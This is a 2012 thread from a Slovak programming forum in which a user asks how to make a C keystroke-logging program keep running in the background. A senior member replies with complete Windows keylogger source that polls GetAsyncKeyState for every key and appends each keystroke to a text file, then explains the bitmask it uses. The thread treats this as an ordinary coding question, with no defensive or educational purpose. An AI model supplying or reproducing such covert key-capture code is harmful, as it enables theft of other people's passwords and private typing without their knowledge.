Obsah fóra
PravidláRegistrovaťPrihlásenie




Odpovedať na tému [ Príspevkov: 5 ] 
AutorSpráva
Offline

Užívateľ
Užívateľ
Obrázok užívateľa

Registrovaný: 11.09.12
Prihlásený: 11.09.12
Príspevky: 2
Témy: 1
Príspevok NapísalOffline : 11.09.2012 14:39

Dobrý deň,
Mám takýto program :

Kód:
#include <stdio.h>
#include <conio.h>
#include <windows.h>



int main(int argc, char* argv[])
{
   FILE *subor;
   unsigned char ch=0;


  while(1)  {
      subor=fopen("slovnik.txt","a"); 
     if(kbhit())                             
        {   
         ch = getch();                     
            switch(ch)                         
            {


             case    0x0D : fprintf(subor,"\n");
             break;

             default:   fprintf(subor,"%c",ch);         
            }
        }
      fclose(subor);
       }

 return 0;

}



chcel by som sa opýtať či by mi niekto nevedel poradiť aby tento program bežal na pozadí napr. keď je na lište. Takže keď mam otvorený samostatný cmd a píšem tak mi zapisuje do súboru no ja chcem aby fungoval aj keď je minimalizovaný ........ vopred ďakujem za rady a pomoc :)


Offline

Skúsený užívateľ
Skúsený užívateľ
C/C++ program na pozadí

Registrovaný: 11.01.09
Prihlásený: 28.03.24
Príspevky: 1385
Témy: 9
Bydlisko: Hrinova
Príspevok NapísalOffline : 11.09.2012 16:46

Skus si toto:
Kód:
#include <stdio.h>
#include <windows.h>


int main()
{

    FILE            *subor;
    unsigned char   c;
    int             process_running = 1;

    subor = fopen( "slovnik.txt", "a+" );
    if ( subor == NULL )
    {
        printf( "*  Ajaj, keylogger zlyhal :-o\n" );
        return 1;
    }

    while( process_running )
    {
        Sleep( 10 );
        for( c = 8; c <= 127; c++ )
        {
            if( GetAsyncKeyState( c ) == -32767 )
            {
                if ( c == VK_ESCAPE )
                {
                    process_running = 0;
                    break;
                }

                fprintf( subor, "%c", c );

                    /* *** DEBUG *** */
                /* printf( "%c ", c ); */
            }
        }
    }

    close( subor );
    return 0;

}


Mam len linux, cize skompilovat mi to slo, ale spusit to uz musis sam. Ak to nepojde, odkomentuj riadok printf, ci to aspon do konzoly pise spravne znaky.


Offline

Užívateľ
Užívateľ
Obrázok užívateľa

Registrovaný: 11.09.12
Prihlásený: 11.09.12
Príspevky: 2
Témy: 1
Príspevok Napísal autor témyOffline : 12.09.2012 0:49

ooo ďakujem si supr takto to je lepšie:) len nechápem prečo tu funkciu na čítanie z klávesnice porovnávaš stým číslom -32767


Offline

Skúsený užívateľ
Skúsený užívateľ
C/C++ program na pozadí

Registrovaný: 11.01.09
Prihlásený: 28.03.24
Príspevky: 1385
Témy: 9
Bydlisko: Hrinova
Príspevok NapísalOffline : 12.09.2012 7:39

Pretoze ked si pozries, ako su reprezentovane zaporne cisla v pamati, tak zistis, ze cislo -32767 je v dvojkovej sustave 1000000000000001, cize je nastaveny prvy a posledny bit. Ked si potom pozries dokumentaciu k funkcii GetAsyncKeyState, zistis, ze sa tam pise:
msdn píše:
If the most significant bit is set, the key is down, and if the least significant bit is set, the key was pressed after the previous call to GetAsyncKeyState.


Mohol som ti to napisat aj takto:
Kód:
if( GetAsyncKeyState( c ) == 0x8001 )


alebo takto:
Kód:
if( ( GetAsyncKeyState( c ) & 0x8001 ) == 0x8001 )


a tak dalej a tak dalej, ale stale sa jedna o ten isty zapis 16-bitoveho cisla, ktore ma nastaveny prvy a posledny bit.


Offline

Užívateľ
Užívateľ
C/C++ program na pozadí

Registrovaný: 14.03.11
Prihlásený: 02.08.23
Príspevky: 814
Témy: 23
Bydlisko: Bratislava
Príspevok NapísalOffline : 27.09.2012 16:15

je fascinujúce v slučke otvárať a zatvárať súbor...


Odpovedať na tému [ Príspevkov: 5 ] 


Podobné témy

 Témy  Odpovede  Zobrazenia  Posledný príspevok 
V tomto fóre nie sú ďalšie neprečítané témy. program na projekt (C#, C++, pascal, java)

v Assembler, C, C++, Pascal, Java

2

824

12.03.2009 12:08

Svjatogor Zobrazenie posledných príspevkov

V tomto fóre nie sú ďalšie neprečítané témy. C# alebo C++ appka/program na výpočty

v Assembler, C, C++, Pascal, Java

1

369

20.03.2015 22:36

walther Zobrazenie posledných príspevkov

V tomto fóre nie sú ďalšie neprečítané témy. Mám sa učiť C ++/objective C/ C#?

v Assembler, C, C++, Pascal, Java

5

724

08.07.2014 20:40

XOLOO Zobrazenie posledných príspevkov

V tomto fóre nie sú ďalšie neprečítané témy. C++ program

v Assembler, C, C++, Pascal, Java

1

832

11.05.2008 8:23

sento Zobrazenie posledných príspevkov

V tomto fóre nie sú ďalšie neprečítané témy. C program

v Assembler, C, C++, Pascal, Java

13

728

25.03.2017 11:21

mitko Zobrazenie posledných príspevkov

V tomto fóre nie sú ďalšie neprečítané témy. C++ (program airport)

v Assembler, C, C++, Pascal, Java

0

731

19.04.2007 17:28

pecko Zobrazenie posledných príspevkov

V tomto fóre nie sú ďalšie neprečítané témy. Program v C++

v Assembler, C, C++, Pascal, Java

23

1130

28.05.2009 14:02

reDo Zobrazenie posledných príspevkov

V tomto fóre nie sú ďalšie neprečítané témy. program v C++

v Assembler, C, C++, Pascal, Java

2

533

07.06.2012 21:57

Hipi21 Zobrazenie posledných príspevkov

Táto téma je zamknutá, nemôžete posielať nové príspevky alebo odpovedať na staršie. Program v C

v Assembler, C, C++, Pascal, Java

1

294

05.11.2013 16:00

Ďuri Zobrazenie posledných príspevkov

V tomto fóre nie sú ďalšie neprečítané témy. program v C

v Assembler, C, C++, Pascal, Java

7

739

23.05.2008 16:21

poma Zobrazenie posledných príspevkov

V tomto fóre nie sú ďalšie neprečítané témy. program v C++

v Assembler, C, C++, Pascal, Java

2

1297

06.12.2006 20:44

rebecca Zobrazenie posledných príspevkov

V tomto fóre nie sú ďalšie neprečítané témy. Program v C

v Assembler, C, C++, Pascal, Java

2

564

16.05.2008 16:51

Cruel Zobrazenie posledných príspevkov

V tomto fóre nie sú ďalšie neprečítané témy. C++ zakladny program

v Assembler, C, C++, Pascal, Java

24

1602

31.08.2010 22:02

ado21 Zobrazenie posledných príspevkov

V tomto fóre nie sú ďalšie neprečítané témy. Visal C++ program

v Assembler, C, C++, Pascal, Java

19

1115

11.09.2010 20:57

jawakiller Zobrazenie posledných príspevkov

V tomto fóre nie sú ďalšie neprečítané témy. malý program v c

v Assembler, C, C++, Pascal, Java

2

693

12.09.2011 19:39

mk* Zobrazenie posledných príspevkov

V tomto fóre nie sú ďalšie neprečítané témy. Program v c++ problém

v Assembler, C, C++, Pascal, Java

8

743

02.02.2012 19:01

ochar Zobrazenie posledných príspevkov


Nemôžete zakladať nové témy v tomto fóre
Nemôžete odpovedať na témy v tomto fóre
Nemôžete upravovať svoje príspevky v tomto fóre
Nemôžete mazať svoje príspevky v tomto fóre

Skočiť na:  

Powered by phpBB Jarvis © 2005 - 2024 PCforum, webhosting by WebSupport, secured by GeoTrust, edited by JanoF
Ako väčšina webových stránok aj my používame cookies. Zotrvaním na webovej stránke súhlasíte, že ich môžeme používať.
Všeobecné podmienky, spracovanie osobných údajov a pravidlá fóra